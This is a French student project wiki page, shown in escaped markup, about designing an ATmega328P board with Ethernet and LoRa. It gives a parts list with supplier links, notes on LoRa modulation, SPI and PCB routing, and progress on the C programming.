 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
